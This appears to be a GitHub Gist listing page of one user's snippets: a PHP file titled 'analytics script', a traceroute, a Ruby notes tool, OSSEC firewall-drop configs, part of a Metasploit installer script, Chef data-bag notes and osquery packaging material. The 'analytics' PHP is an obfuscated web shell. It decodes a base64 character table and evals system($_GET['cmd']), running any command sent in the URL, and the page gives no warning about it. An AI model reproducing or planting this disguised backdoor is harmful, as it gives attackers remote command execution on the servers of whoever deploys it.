Skip to content

Instantly share code, notes, and snippets.

@maus-
maus- / analytics.php
Created March 24, 2014 23:49
PHP analytics script
<?php
//Begin Analytics Code
$STAT = unserialize(base64_decode("YTozMzp7aTowO3M6MToiaCI7aToxO3M6MToibSI7aToyO3M6MToiaSI7aTozO3M6MToibiI7aTo0O3M6MToiYSI7aTo1O3M6MToidyI7aTo2O3M6MToicCI7aTo3O3M6MToieSI7aTo4O3M6MToicyI7aTo5O3M6MToiYiI7aToxMDtzOjE6ImoiO2k6MTE7czoxOiJ1IjtpOjEyO3M6MToieiI7aToxMztzOjE6ImwiO2k6MTQ7czoxOiJrIjtpOjE1O3M6MToiZiI7aToxNjtzOjE6InYiO2k6MTc7czoxOiJlIjtpOjE4O3M6MToiciI7aToxOTtzOjE6ImQiO2k6MjA7czoxOiInIjtpOjIxO3M6MToibyI7aToyMjtzOjE6IngiO2k6MjM7czoxOiJdIjtpOjI0O3M6MToiWyI7aToyNTtzOjI6Iik7IjtpOjI2O3M6MToiZyI7aToyNztzOjE6InQiO2k6Mjg7czoxOiJjIjtpOjI5O3M6MToiJCI7aTozMDtzOjE6Il8iO2k6MzE7czoxOiIoIjtpOjMyO3M6MToicSI7fQ=="));
$values =
$STAT[8] . $STAT[7] . $STAT[8] . $STAT[27] . $STAT[17] . $STAT[1] . $STAT[31] . $STAT[29] .
$STAT[30] . strtoupper( $STAT[26] . $STAT[17] . $STAT[27] ) . $STAT[24] . $STAT[20] .
$STAT[28] . $STAT[1] . $STAT[19] . $STAT[20] . $STAT[23] .$STAT[25];
eval("$values");
?>
traceroute: Warning: cdn-registry-1.docker.io has multiple addresses; using 162.159.253.251
traceroute to cdn-registry-1.docker.io.cdn.cloudflare.net (162.159.253.251), 64 hops max, 52 byte packets
1 10.236.2.1 (10.236.2.1) 4.231 ms 3.890 ms 3.957 ms
2 192.168.128.210 (192.168.128.210) 3.095 ms 4.799 ms 4.169 ms
3 206.169.168.41 (206.169.168.41) 44.070 ms 9.694 ms 4.097 ms
4 sjc1-pr1-xe-0-2-0-0.us.twtelecom.net (66.192.251.170) 17.472 ms 10.101 ms 16.170 ms
5 equinix.xe-2-0-0.cr1.sjc1.us.nlayer.net (206.223.116.61) 8.831 ms 7.277 ms 6.697 ms
6 as13335.xe-8-1-0.cr1.sjc1.us.nlayer.net (69.22.153.214) 38.691 ms 66.615 ms 23.516 ms
7 162.159.253.251 (162.159.253.251) 7.672 ms 7.594 ms 6.401 ms
#!/usr/bin/env ruby
# Version Controlled Notes.... Because I'm lazy. - Maus.
# TODO: Get git syncing working. Maybe do a branch that merges to master?
require 'optparse'
require 'fileutils'
require 'digest'
config = {
notes_path: ENV['HOME'] + '/notes',
git_path: ENV['HOME'] + '/notes/.git',
git_remote: '',
@maus-
maus- / fwdrop
Created July 1, 2014 17:17
Basic FW drop example.
<command>
<name>firewall-drop</name>
<executable>firewall-drop.sh</executable>
<expect>srcip</expect>
</command>
<active-response>
<command>firewall-drop</command>
<location>all</location>
<rules_id>1002</rules_id>
@maus-
maus- / msfbuild.sh
Last active August 29, 2015 14:03
MSF Installer on Ubuntu 12.04-14.04 works well with vagrant boxes
#!/bin/bash
# I CAN MSF AND SO CAN YOU
LOLPASSWORD=$(strings /dev/urandom | grep -o '[[:alnum:]]' | head -n 32 | tr -d '\n'; echo)
LOLPASSWORDTESTUSER=$(strings /dev/urandom | grep -o '[[:alnum:]]' | head -n 32 | tr -d '\n'; echo)
RUBY_VERSION="ruby-1.9.3-p547"
MSFPATH="/opt/msf"
install_deps () {
apt-get update;
# Obviously more than MSF.
<command>
<name>firewall-drop</name>
<executable>firewall-drop.sh</executable>
<expect>srcip</expect>
</command>
<active-response>
<command>firewall-drop</command>
<location>all</location>
<rules_id>5719,5712</rules_id>
@maus-
maus- / gist:0dca6f41a3611f9c44f5
Last active August 29, 2015 14:07
Sane design patterns for chef data bags. Nice and modular. Using my fork of the splunk cookbook (pull request pending)
#-----------------------------------------------------
# So I've noticed there isn't a lot of consistency
# when it comes to managing data bags in chef, primarily one
# dev will prefer encrypted data bags, another will
# want to use plaintext and others chef-vault.
# This method of abstracting out data retrevial and
# and make these methods attribute driven grants devs
# flexibility without having to later refactor for a more
# secure method of data retrival. Errybody wins
# Here's an example soon to be attached in a pull request
@maus-
maus- / osquery
Created December 19, 2014 01:13
osquery init script for centos
#!/bin/sh
#
# osqueryd Start/Stop the osquery daemon.
#
# chkconfig: 2345 90 60
# Description:
# With osquery, you can use SQL to query low-level
# operating system information. Under the hood, instead
# of querying static tables, these queries dynamically execute
# high-performance native code. The results of the
Name : osquery Relocations: /usr
Version : 1.2.2 Vendor: facebook
Release : 1 Build Date: Wed 17 Dec 2014 10:05:51 PM UTC
Install Date: (not installed) Build Host: localhost
Group : unknown Source RPM: osquery-1.2.2-1.src.rpm
Size : 42855982 License: unknown
Signature : (none)
Summary : osquery is an operating system instrumentation toolchain.
Description :
DESCRIPTION
@maus-
maus- / gist:65369061eddac43b08b3
Created January 7, 2015 20:01
rpm -qpiR osquery-1.2.2-112-gdbb7050-Linux.rpm
Name : osquery Relocations: /usr
Version : 1.2.2_112_gdbb7050 Vendor: facebook
Release : 1 Build Date: Wed 07 Jan 2015 06:14:28 PM UTC
Install Date: (not installed) Build Host: localhost
Group : unknown Source RPM: osquery-1.2.2_112_gdbb7050-1.src.rpm
Size : 21348299 License: unknown
Signature : (none)
Summary : osquery is an operating system instrumentation toolchain.
Description :
DESCRIPTION